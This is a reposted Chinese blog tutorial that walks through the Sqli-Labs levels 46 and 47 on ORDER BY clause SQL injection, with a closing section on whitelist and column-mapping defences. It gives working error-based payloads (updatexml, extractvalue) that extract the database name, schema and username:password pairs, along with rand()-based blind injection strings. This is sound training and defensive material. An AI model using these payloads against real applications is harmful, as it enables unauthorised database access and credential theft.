文章总结: 本文剖析Sqli-Labs第46/47关的ORDERBY注入,对比数字型与字符型差异。通过报错注入和rand盲注演示数据提取,指出该漏洞常被忽视且易绕过WAF。建议开发者采用白名单过滤或列名映射进行防御,强调了全链路SQL安全的重要性。 综合评分: 90 文章分类: WEB安全,渗透测试,漏洞分析
从排序参数到数据库泄露:Sqli-Labs 46/47关ORDER BY注入深度剖析
原创
武文学网安 武文学网安
武文学网安
2026年2月2日 03:09 中国香港
当网站允许你自定义排序时,危险可能悄然降临。第46/47关揭示了一个常被忽视的注入点——ORDER BY子句,这里隐藏着从数字到字符串的两种致命攻击路径。
大家好,我是武文。今天我们来学习一种新的SQL注入方式,ORDRER BY子句注入。
一、关卡定位:当排序功能成为注入入口
Sqli-Labs第46关和47关在表面上只是简单的排序功能页面,实际上却演示了SQL注入中一个独特且常被低估的攻击向量——ORDER BY子句注入。
核心区别一目了然:
- 第46关:GET – Error based – Numeric – Order by clause (基于错误的数字型ORDER BY注入)
- 第47关:GET – Error based – String – Order by clause (基于错误的字符型ORDER BY注入)
这两关的Web界面通常表现为一个带有排序选项的表格,用户可以通过?sort=参数控制数据的排序方式。正是这个看似无害的功能参数,成为了SQL注入的突破口。
二、ORDER BY注入的特殊性:为什么这里不一样
与常见的WHERE子句注入不同,ORDER BY注入有几个关键特点:
- 位置限制:ORDER BY子句位于查询末尾,这意味着注入点后的原有SQL结构更少
- 功能限制:主要用于排序,不能直接执行任意查询(但可通过报错注入绕过)
- 类型敏感:必须返回可用于排序的数据类型
三、第46关实战:数字型ORDER BY注入
3.1 基础探测与闭合测试
访问关卡页面时,通常会看到类似URL:
http://target.com/Less-46/?sort=1
初步测试:
?sort=1– 正常按第一列排序?sort=2– 正常按第二列排序?sort=3– 正常按第三列排序?sort=4– 报错、返回异常。说明查询列数共3列
关键发现:当输入?sort=1'或?sort=1"时,页面返回SQL语法错误。但有趣的是,数字型注入通常不需要引号闭合。
3.2 报错注入利用:提取数据库信息
数字型ORDER BY注入的一个优势是不需要处理引号闭合,Payload构造更简单:
获取数据库名:
?sort=1 and updatexml(1,concat(0x7e,database(),0x7e),1)
可以看到能够正常获取数据库名:security
或使用extractvalue:
?sort=1 and extractvalue(1,concat(0x7e,database()))
获取表名:
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)
获取列名:
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)
数据提取:
?sort=1 and updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1)),1)
3.3 数字型注入的盲注方法
由于是数字型上下文,我们可以利用rand()函数实现布尔盲注。
我们可以观察rand(0)和rand(1)带来的不同效果:
我们发现rand(0) rand(1)的排序方式不同。所以,我们可以控制rand()里的条件来进行布尔盲注,如?sort=rand(length(database())>8)
这样就可以判断当前数据库的长度是=8的。以此类推,可以参照布尔盲注章节的方法实现数据的获取。
四、第47关进阶:字符串型ORDER BY注入
4.1 闭合测试的复杂性
第47关的URL可能像这样:
http://target.com/Less-47/?sort=username
测试闭合方式:
?sort=username'– 观察是否报错?sort=username'--+– 测试注释是否有效?sort=username' and '1'='1– 测试布尔逻辑
关键发现:字符串型ORDER BY注入需要正确处理引号闭合。闭合方式为单引号
4.2 字符串型Payload构造技巧
闭合结构’,构造如下参数:
?sort=username' and updatexml(1,concat(0x7e,database()),1) and '1'='1
其余的数据获取方式可参考3.2中的参数,这里不再赘述。
4.3 处理列名中的特殊字符
如果列名包含特殊字符或空格,需要使用反引号:
?sort=`column name`' and updatexml(...) and '1'='1
五、防御视角:为什么ORDER BY注入如此危险
5.1 现实世界中的易发性
- 常见功能:数据表格排序是Web应用的标配功能
- 易被忽视:开发人员往往只对WHERE子句进行参数化,忽略ORDER BY
- 直接暴露:
?sort=column_name的模式极为常见
5.2 防御建议
- 白名单过滤:只允许预定义的列名
$allowed_columns=['username','email','created_at'];$sort_column=in_array($_GET['sort'],$allowed_columns)?$_GET['sort']:'id';
- 参数化查询限制:某些框架的ORM可能不支持ORDER BY参数化
- 列名映射:将用户输入映射到实际列名
$sort_mapping=['name'=>'username','date'=>'created_at',];
总结:从46/47关看注入攻击的演化
第46和47关虽然技术难度不算最高,但意义重大:
技术要点回顾:
- 注入点的多样性:SQL注入不只在WHERE子句,ORDER BY、GROUP BY、LIMIT等子句都可能成为入口
- 类型敏感性:数字型和字符型注入需要不同的Payload构造策略
- 闭合技巧:字符串型注入需要正确处理引号闭合,保持语句语法正确
- 报错利用:在ORDER BY中,基于报错的注入技术依然有效
思维层面提升:
- 攻击面识别:任何用户可控的SQL片段都可能是潜在注入点
- 上下文适应:根据注入点位置和类型调整攻击策略
- 防御思维:理解漏洞成因,才能设计有效防御
这两关的核心价值在于展示了一个常被忽略但广泛存在的漏洞类型。在真实渗透测试中,ORDER BY注入往往能绕过常规防护,因为许多WAF和开发者的关注点仍停留在WHERE子句注入。
最终启示:在安全测试中,永远不要假设某个功能点是”安全的”。像排序这样基础而普遍的功能,恰恰可能成为攻击者最锋利的突破口
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:武文学网安 武文学网安 武文学网安《从排序参数到数据库泄露:Sqli-Labs 46/47关ORDER BY注入深度剖析》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论